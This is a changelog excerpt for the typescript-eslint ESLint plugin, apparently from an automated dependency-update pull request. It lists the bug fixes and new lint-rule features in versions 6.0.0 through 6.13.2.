[`v6.13.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6132-2023-12-04)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.1...v6.13.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.13.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6131-2023-11-28)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.0...v6.13.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.13.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6130-2023-11-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.12.0...v6.13.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.12.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6120-2023-11-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.11.0...v6.12.0)

##### Bug Fixes

- **eslint-plugin:** \[class-methods-use-this] detect a problematic case
for private/protected members if `ignoreClassesThatImplementAnInterface`
is set
([#&#8203;7705](https://togithub.com/typescript-eslint/typescript-eslint/issues/7705))
([155aa1f](155aa1f533))
- **eslint-plugin:** \[no-unnecessary-condition] fix false positive with
computed member access and branded key type
([#&#8203;7706](https://togithub.com/typescript-eslint/typescript-eslint/issues/7706))
([f151b26](f151b26d21))
- **eslint-plugin:** \[switch-exhaustiveness-check] enum members with
new line or single quotes are not being fixed correctly
([#&#8203;7806](https://togithub.com/typescript-eslint/typescript-eslint/issues/7806))
([a034d0a](a034d0a385)),
closes
[#&#8203;7768](https://togithub.com/typescript-eslint/typescript-eslint/issues/7768)

##### Features

- \[member-ordering] add accessor support for member-ordering
([#&#8203;7927](https://togithub.com/typescript-eslint/typescript-eslint/issues/7927))
([3c8312d](3c8312d1e1))
- **eslint-plugin:** \[switch-exhaustiveness-check] add
requireDefaultForNonUnion option
([#&#8203;7880](https://togithub.com/typescript-eslint/typescript-eslint/issues/7880))
([4cfcd45](4cfcd451ef))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.11.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6110-2023-11-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.10.0...v6.11.0)

##### Bug Fixes

- **eslint-plugin:** \[explicit-function-return-type] support JSX
attributes in `allowTypedFunctionExpressions`
([#&#8203;7553](https://togithub.com/typescript-eslint/typescript-eslint/issues/7553))
([be2777c](be2777c533))
- **eslint-plugin:** \[no-unnecessary-qualifier] handle nested namespace
id
([#&#8203;7883](https://togithub.com/typescript-eslint/typescript-eslint/issues/7883))
([a668f5b](a668f5b10e))

##### Features

- add `no-unsafe-unary-minus` rule
([#&#8203;7390](https://togithub.com/typescript-eslint/typescript-eslint/issues/7390))
([c4709c2](c4709c2861))
- add types for flat config files
([#&#8203;7273](https://togithub.com/typescript-eslint/typescript-eslint/issues/7273))
([66cd0c0](66cd0c0535))
- allow typescript@5.3.0-RC as devDependency
([#&#8203;7821](https://togithub.com/typescript-eslint/typescript-eslint/issues/7821))
([b6c40b4](b6c40b42b6))
- **eslint-plugin:** no-unsafe-enum-comparison handles switch cases
([#&#8203;7898](https://togithub.com/typescript-eslint/typescript-eslint/issues/7898))
([72cb9e4](72cb9e4ed3))
- **utils:** add ESLint `CodePath` selector types
([#&#8203;7551](https://togithub.com/typescript-eslint/typescript-eslint/issues/7551))
([99a026f](99a026fe41))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.10.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6100-2023-11-06)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.9.1...v6.10.0)

##### Bug Fixes

- **eslint-plugin:** \[no-unused-vars] handle logical assignment
([#&#8203;7854](https://togithub.com/typescript-eslint/typescript-eslint/issues/7854))
([11e57c5](11e57c5937))
- **eslint-plugin:** \[require-await] add support for "await using"
([#&#8203;7866](https://togithub.com/typescript-eslint/typescript-eslint/issues/7866))
([855abea](855abea2d7))

##### Features

- **eslint-plugin:** \[ban-ts-comments] suggest ts-expect-error over
ts-ignore
([#&#8203;7849](https://togithub.com/typescript-eslint/typescript-eslint/issues/7849))
([5e73a48](5e73a4810a))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.9.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.9.0...v6.9.1)
(2023-10-30)

##### Bug Fixes

- **eslint-plugin:** \[naming-convention] allow PascalCase for imports
([#&#8203;7841](https://togithub.com/typescript-eslint/typescript-eslint/issues/7841))
([7ad86ee](7ad86eead7))
- **eslint-plugin:** \[no-unused-expressions] handle
TSInstantiationExpression expression
([#&#8203;7831](https://togithub.com/typescript-eslint/typescript-eslint/issues/7831))
([31988e0](31988e0d2e))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.9.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#691-2023-10-30)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.9.0...v6.9.1)

##### Bug Fixes

- **eslint-plugin:** \[naming-convention] allow PascalCase for imports
([#&#8203;7841](https://togithub.com/typescript-eslint/typescript-eslint/issues/7841))
([7ad86ee](7ad86eead7))
- **eslint-plugin:** \[no-unused-expressions] handle
TSInstantiationExpression expression
([#&#8203;7831](https://togithub.com/typescript-eslint/typescript-eslint/issues/7831))
([31988e0](31988e0d2e))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.9.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#690-2023-10-23)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.8.0...v6.9.0)

##### Bug Fixes

- **eslint-plugin:** \[no-confusing-void-expression] handle unfixable
cases
([#&#8203;7674](https://togithub.com/typescript-eslint/typescript-eslint/issues/7674))
([7e52f27](7e52f276ed))
- **eslint-plugin:** \[no-unsafe-return] allow returning anything if
explicitly returning any
([#&#8203;7708](https://togithub.com/typescript-eslint/typescript-eslint/issues/7708))
([c6124b2](c6124b2c93))

##### Features

- **eslint-plugin:** \[max-params] don't count `this: void` parameter
([#&#8203;7696](https://togithub.com/typescript-eslint/typescript-eslint/issues/7696))
([6398d3f](6398d3fd0a)),
closes
[#&#8203;7538](https://togithub.com/typescript-eslint/typescript-eslint/issues/7538)
- **eslint-plugin:** \[naming-convention] add support for default and
namespace imports
([#&#8203;7269](https://togithub.com/typescript-eslint/typescript-eslint/issues/7269))
([bb15aae](bb15aae877))
- **eslint-plugin:** \[no-restricted-imports] support import = require
([#&#8203;7709](https://togithub.com/typescript-eslint/typescript-eslint/issues/7709))
([4c8edcf](4c8edcfb7d))
- **eslint-plugin:** \[no-unsafe-enum-comparison] add switch suggestion
([#&#8203;7691](https://togithub.com/typescript-eslint/typescript-eslint/issues/7691))
([53d5263](53d5263cee)),
closes
[#&#8203;7643](https://togithub.com/typescript-eslint/typescript-eslint/issues/7643)
- **eslint-plugin:** \[prefer-readonly] private fields support
([#&#8203;7686](https://togithub.com/typescript-eslint/typescript-eslint/issues/7686))
([0e875bf](0e875bf77a))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.8.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#680-2023-10-16)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.5...v6.8.0)

##### Bug Fixes

- **eslint-plugin:** \[consistent-type-imports] import assertion checks
added
([#&#8203;7722](https://togithub.com/typescript-eslint/typescript-eslint/issues/7722))
([afdae37](afdae3739c))
- **eslint-plugin:** \[no-shadow] fix static class generics for class
expressions
([#&#8203;7724](https://togithub.com/typescript-eslint/typescript-eslint/issues/7724))
([e5ea1d0](e5ea1d0560))
- **eslint-plugin:** \[no-unsafe-member-access] report on only the
accessed property
([#&#8203;7717](https://togithub.com/typescript-eslint/typescript-eslint/issues/7717))
([f81a2da](f81a2da135))
- **eslint-plugin:** \[no-useless-empty-export] exempt .d.ts
([#&#8203;7718](https://togithub.com/typescript-eslint/typescript-eslint/issues/7718))
([ac397f1](ac397f1817))

##### Features

- **eslint-plugin:** add new extended rule `prefer-destructuring`
([#&#8203;7117](https://togithub.com/typescript-eslint/typescript-eslint/issues/7117))
([3c6379b](3c6379b767))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.7.5](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.4...v6.7.5)
(2023-10-09)

##### Bug Fixes

- **eslint-plugin:** \[prefer-string-starts-ends-with] only report
slice/substring with correct range
([#&#8203;7712](https://togithub.com/typescript-eslint/typescript-eslint/issues/7712))
([db40a0a](db40a0a83a))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.7.4](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.3...v6.7.4)
(2023-10-02)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.7.3](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.2...v6.7.3)
(2023-09-25)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.7.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.1...v6.7.2)
(2023-09-18)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.7.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.0...v6.7.1)
(2023-09-18)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.7.5`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#675-2023-10-09)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.4...v6.7.5)

##### Bug Fixes

- **eslint-plugin:** \[prefer-string-starts-ends-with] only report
slice/substring with correct range
([#&#8203;7712](https://togithub.com/typescript-eslint/typescript-eslint/issues/7712))
([db40a0a](db40a0a83a))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.7.4`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#674-2023-10-02)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.3...v6.7.4)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.7.3`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#673-2023-09-25)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.2...v6.7.3)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.7.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#672-2023-09-18)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.7.0...v6.7.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.7.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#670-2023-09-11)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.6.0...v6.7.0)

##### Bug Fixes

- **eslint-plugin:** \[no-restricted-imports] disallow side effect
imports when allowTypeImports is enabled
([#&#8203;7560](https://togithub.com/typescript-eslint/typescript-eslint/issues/7560))
([4908905](4908905e4e))

##### Features

- **eslint-plugin:** \[await-thenable] added suggestion fixer
([#&#8203;7437](https://togithub.com/typescript-eslint/typescript-eslint/issues/7437))
([b284370](b284370e1e))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.6.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#660-2023-09-04)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.5.0...v6.6.0)

##### Bug Fixes

- **eslint-plugin:** \[key-spacing] consider properties with parens and
comments
([#&#8203;7525](https://togithub.com/typescript-eslint/typescript-eslint/issues/7525))
([7012279](7012279b85))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.5.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#650-2023-08-28)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.4.1...v6.5.0)

##### Bug Fixes

- **eslint-plugin:** \[consistent-type-assertions] wrap object return
value with parentheses
([#&#8203;6885](https://togithub.com/typescript-eslint/typescript-eslint/issues/6885))
([23ac499](23ac49944e))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.4.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.4.0...v6.4.1)
(2023-08-21)

##### Bug Fixes

- **eslint-plugin:** \[no-unnecessary-condition] false positives with
branded types
([#&#8203;7466](https://togithub.com/typescript-eslint/typescript-eslint/issues/7466))
([b52658f](b52658fbb6)),
closes
[#&#8203;7293](https://togithub.com/typescript-eslint/typescript-eslint/issues/7293)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.4.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#641-2023-08-21)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.4.0...v6.4.1)

##### Bug Fixes

- **eslint-plugin:** \[no-unnecessary-condition] false positives with
branded types
([#&#8203;7466](https://togithub.com/typescript-eslint/typescript-eslint/issues/7466))
([b52658f](b52658fbb6)),
closes
[#&#8203;7293](https://togithub.com/typescript-eslint/typescript-eslint/issues/7293)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.4.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#640-2023-08-14)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.3.0...v6.4.0)

##### Bug Fixes

- **eslint-plugin:** \[non-nullable-type-assertion-style] consider
operator precedence when fixing
([#&#8203;7289](https://togithub.com/typescript-eslint/typescript-eslint/issues/7289))
([bad37a2](bad37a2202))
- **eslint-plugin:** \[strict-boolean-expressions] replace dangerous
fixer with suggestions
([#&#8203;7394](https://togithub.com/typescript-eslint/typescript-eslint/issues/7394))
([ad8401a](ad8401a597))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.3.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#630-2023-08-07)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.2.1...v6.3.0)

##### Bug Fixes

- **eslint-plugin:** \[no-extra-parens] keep parens around call
expression arguments when type arguments contain parens
([#&#8203;7375](https://togithub.com/typescript-eslint/typescript-eslint/issues/7375))
([38e5e4e](38e5e4eb86))
- **eslint-plugin:** \[no-restricted-imports] allow inline type
qualifiers when `allowTypeImports` enabled
([#&#8203;7379](https://togithub.com/typescript-eslint/typescript-eslint/issues/7379))
([cc9a46d](cc9a46d01b))

##### Features

- **eslint-plugin:** \[prefer-nullish-coalescing] allow
`ignorePrimitives` option to be `true`
([#&#8203;7331](https://togithub.com/typescript-eslint/typescript-eslint/issues/7331))
([dfcafae](dfcafae515))

##### Reverts

- Revert "chore(deps): update dependency marked to v6"
([#&#8203;7429](https://togithub.com/typescript-eslint/typescript-eslint/issues/7429))
([7891a06](7891a06892)),
closes
[#&#8203;7429](https://togithub.com/typescript-eslint/typescript-eslint/issues/7429)
[#&#8203;7422](https://togithub.com/typescript-eslint/typescript-eslint/issues/7422)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.2.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.2.0...v6.2.1)
(2023-07-31)

##### Bug Fixes

- **eslint-plugin:** \[no-inferrable-types] apply also for parameter
properties
([#&#8203;7288](https://togithub.com/typescript-eslint/typescript-eslint/issues/7288))
([67f93b1](67f93b19f2))
- **scope-manager:** correct decorators(.length) check in ClassVisitor
for methods
([#&#8203;7334](https://togithub.com/typescript-eslint/typescript-eslint/issues/7334))
([abbb6c2](abbb6c2c6d))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.2.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#621-2023-07-31)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.2.0...v6.2.1)

##### Bug Fixes

- **eslint-plugin:** \[no-inferrable-types] apply also for parameter
properties
([#&#8203;7288](https://togithub.com/typescript-eslint/typescript-eslint/issues/7288))
([67f93b1](67f93b19f2))
- **scope-manager:** correct decorators(.length) check in ClassVisitor
for methods
([#&#8203;7334](https://togithub.com/typescript-eslint/typescript-eslint/issues/7334))
([abbb6c2](abbb6c2c6d))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.2.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#620-2023-07-24)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.1.0...v6.2.0)

##### Bug Fixes

- **eslint-plugin:** \[member-ordering] account for repeated names
([#&#8203;6864](https://togithub.com/typescript-eslint/typescript-eslint/issues/6864))
([d207b59](d207b59e24))
- **eslint-plugin:** \[no-unsafe-enum-comparison] exempt bit shift
operators
([#&#8203;7074](https://togithub.com/typescript-eslint/typescript-eslint/issues/7074))
([b3e0e75](b3e0e7571f))
- **eslint-plugin:** \[prefer-nullish-coalescing] handle case when type
of left side is null or undefined
([#&#8203;7225](https://togithub.com/typescript-eslint/typescript-eslint/issues/7225))
([b62affe](b62affe8dd))
- **eslint-plugin:** use a default export for the rules type
([#&#8203;7266](https://togithub.com/typescript-eslint/typescript-eslint/issues/7266))
([af77a1d](af77a1d33f))

##### Features

- **eslint-plugin:** \[class-methods-use-this] add extension rule
([#&#8203;6457](https://togithub.com/typescript-eslint/typescript-eslint/issues/6457))
([18ea3b1](18ea3b1f89))
- **eslint-plugin:** sync getFunctionHeadLoc implementation with
upstream
([#&#8203;7260](https://togithub.com/typescript-eslint/typescript-eslint/issues/7260))
([f813147](f81314731c))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.1.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#610-2023-07-17)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.0.0...v6.1.0)

##### Bug Fixes

- **eslint-plugin:** \[comma-dangle] fixed crash from undefined
predicate.ignore
([#&#8203;7223](https://togithub.com/typescript-eslint/typescript-eslint/issues/7223))
([d368164](d368164478))
- **eslint-plugin:** \[no-floating-promises] false negative calling
.then with second argument undefined
([#&#8203;6881](https://togithub.com/typescript-eslint/typescript-eslint/issues/6881))
([606a52c](606a52cefc)),
closes
[#&#8203;6850](https://togithub.com/typescript-eslint/typescript-eslint/issues/6850)
- **eslint-plugin:** \[no-floating-promises] finally should be
transparent to unhandled promises
([#&#8203;7092](https://togithub.com/typescript-eslint/typescript-eslint/issues/7092))
([2a4421c](2a4421ccf0))
- **eslint-plugin:** \[no-unnecessary-type-constraint] correctly fix in
cts/mts files
([#&#8203;6795](https://togithub.com/typescript-eslint/typescript-eslint/issues/6795))
([1404796](14047963d7))
- **eslint-plugin:** \[no-unused-vars] check if any variable definition
is exported
([#&#8203;6873](https://togithub.com/typescript-eslint/typescript-eslint/issues/6873))
([587ac30](587ac306d9)),
closes
[#&#8203;6188](https://togithub.com/typescript-eslint/typescript-eslint/issues/6188)
- **eslint-plugin:** fix schemas across several rules and add schema
tests
([#&#8203;6947](https://togithub.com/typescript-eslint/typescript-eslint/issues/6947))
([dd31bed](dd31bed1e9))
- **eslint-plugin:** include the rules types in the package
([#&#8203;7215](https://togithub.com/typescript-eslint/typescript-eslint/issues/7215))
([a3da11d](a3da11d09b))

##### Features

- **typescript-estree:** add EXPERIMENTAL_useProjectService option to
use TypeScript project service
([#&#8203;6754](https://togithub.com/typescript-eslint/typescript-eslint/issues/6754))
([6d3d162](6d3d162ce0))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.0.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#600-2023-07-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.62.0...v6.0.0)

##### Bug Fixes

- bumped ts-api-utils to 0.0.39
([#&#8203;6497](https://togithub.com/typescript-eslint/typescript-eslint/issues/6497))
([217c710](217c710d99))
- correct handling of additionalProperties in object schemas
([#&#8203;6939](https://togithub.com/typescript-eslint/typescript-eslint/issues/6939))
([489c7a5](489c7a50ae))
- correct lint error after merge
([277fdb5](277fdb5ac7))
- **eslint-plugin:** \[explicit-module-boundary-types] remove
shouldTrackReferences option from schema
([#&#8203;5399](https://togithub.com/typescript-eslint/typescript-eslint/issues/5399))
([6d32734](6d32734b13))
- **eslint-plugin:** allow parser@^6.0.0
([#&#8203;6630](https://togithub.com/typescript-eslint/typescript-eslint/issues/6630))
([92908bd](92908bdd9c))
- **eslint-plugin:** remove valid-typeof disable in eslint-recommended
([#&#8203;5381](https://togithub.com/typescript-eslint/typescript-eslint/issues/5381))
([b82df5e](b82df5eaed))
- fix illegal decorator check
([#&#8203;6723](https://togithub.com/typescript-eslint/typescript-eslint/issues/6723))
([c456f8c](c456f8cdef))
- rename typeParameters to typeArguments where needed
([#&#8203;5384](https://togithub.com/typescript-eslint/typescript-eslint/issues/5384))
([08d757b](08d757b26b))
- replace tsutils with ts-api-tools
([#&#8203;6428](https://togithub.com/typescript-eslint/typescript-eslint/issues/6428))
([79327b4](79327b4999))
- **type-utils:** treat intrinsic types as if they are from lib and
never match error types
([#&#8203;6869](https://togithub.com/typescript-eslint/typescript-eslint/issues/6869))
([ecb57de](ecb57de5eb))
- **typescript-estree:** account for namespace nesting in AST conversion
([#&#8203;6272](https://togithub.com/typescript-eslint/typescript-eslint/issues/6272))
([09e3877](09e38776c6))
- update `exports` field in package.json files
([#&#8203;6550](https://togithub.com/typescript-eslint/typescript-eslint/issues/6550))
([53776c2](53776c244f))

##### chore

- drop support for node v14.17, v17
([#&#8203;5971](https://togithub.com/typescript-eslint/typescript-eslint/issues/5971))
([cc62015](cc62015b8a))

##### Features

- add new package `rule-tester`
([#&#8203;6777](https://togithub.com/typescript-eslint/typescript-eslint/issues/6777))
([2ce1c1d](2ce1c1d22c))
- add package.json exports for public packages
([#&#8203;6458](https://togithub.com/typescript-eslint/typescript-eslint/issues/6458))
([d676683](d6766838a0))
- bump minimum supported TS version to 4.2.4
([#&#8203;5915](https://togithub.com/typescript-eslint/typescript-eslint/issues/5915))
([a8e71d5](a8e71d5216))
- bump ts-api-utils to v0.0.21
([#&#8203;6459](https://togithub.com/typescript-eslint/typescript-eslint/issues/6459))
([3915661](391566172d))
- bump ts-api-utils to v0.0.22
([#&#8203;6472](https://togithub.com/typescript-eslint/typescript-eslint/issues/6472))
([b88cd23](b88cd23329))
- drop support for ESLint v6
([#&#8203;5972](https://togithub.com/typescript-eslint/typescript-eslint/issues/5972))
([bda806d](bda806d78e))
- drop support for node v12
([#&#8203;5918](https://togithub.com/typescript-eslint/typescript-eslint/issues/5918))
([7e3fe9a](7e3fe9a67a))
- drop support for node v14 and test against node v20
([#&#8203;7022](https://togithub.com/typescript-eslint/typescript-eslint/issues/7022))
([e6235bf](e6235bf61b))
- **eslint-plugin:** \[prefer-nullish-coalescing]: add support for
assignment expressions
([#&#8203;5234](https://togithub.com/typescript-eslint/typescript-eslint/issues/5234))
([4bdbe67](4bdbe67955))
- **eslint-plugin:** \[prefer-optional-chain] handle cases where the
first operands are unrelated to the rest of the chain and add type info
([#&#8203;6397](https://togithub.com/typescript-eslint/typescript-eslint/issues/6397))
([02a37c4](02a37c4c79))
- **eslint-plugin:** \[prefer-readonly-parameter-types] added an
optional type allowlist
([#&#8203;4436](https://togithub.com/typescript-eslint/typescript-eslint/issues/4436))
([c9427b7](c9427b78b6))
- **eslint-plugin:** \[restrict-plus-operands] change
checkCompoundAssignments to skipCompoundAssignments
([#&#8203;7027](https://togithub.com/typescript-eslint/typescript-eslint/issues/7027))
([dc801d8](dc801d892e))
- **eslint-plugin:** add config that disables type-aware linting
([#&#8203;6470](https://togithub.com/typescript-eslint/typescript-eslint/issues/6470))
([3b063cf](3b063cfadc))
- **eslint-plugin:** apply final v6 changes to configs
([#&#8203;7110](https://togithub.com/typescript-eslint/typescript-eslint/issues/7110))
([c13ce0b](c13ce0b4f7))
- **eslint-plugin:** deprecate no-type-alias
([#&#8203;6229](https://togithub.com/typescript-eslint/typescript-eslint/issues/6229))
([820bdf2](820bdf2a39))
- **eslint-plugin:** final final config changes for v6
([#&#8203;7157](https://togithub.com/typescript-eslint/typescript-eslint/issues/7157))
([e35c5c1](e35c5c1c39))
- **eslint-plugin:** rework configs: recommended, strict, stylistic;
-type-checked
([#&#8203;5251](https://togithub.com/typescript-eslint/typescript-eslint/issues/5251))
([5346b5b](5346b5bbdb)),
closes
[#&#8203;5036](https://togithub.com/typescript-eslint/typescript-eslint/issues/5036)
[#&#8203;5834](https://togithub.com/typescript-eslint/typescript-eslint/issues/5834)
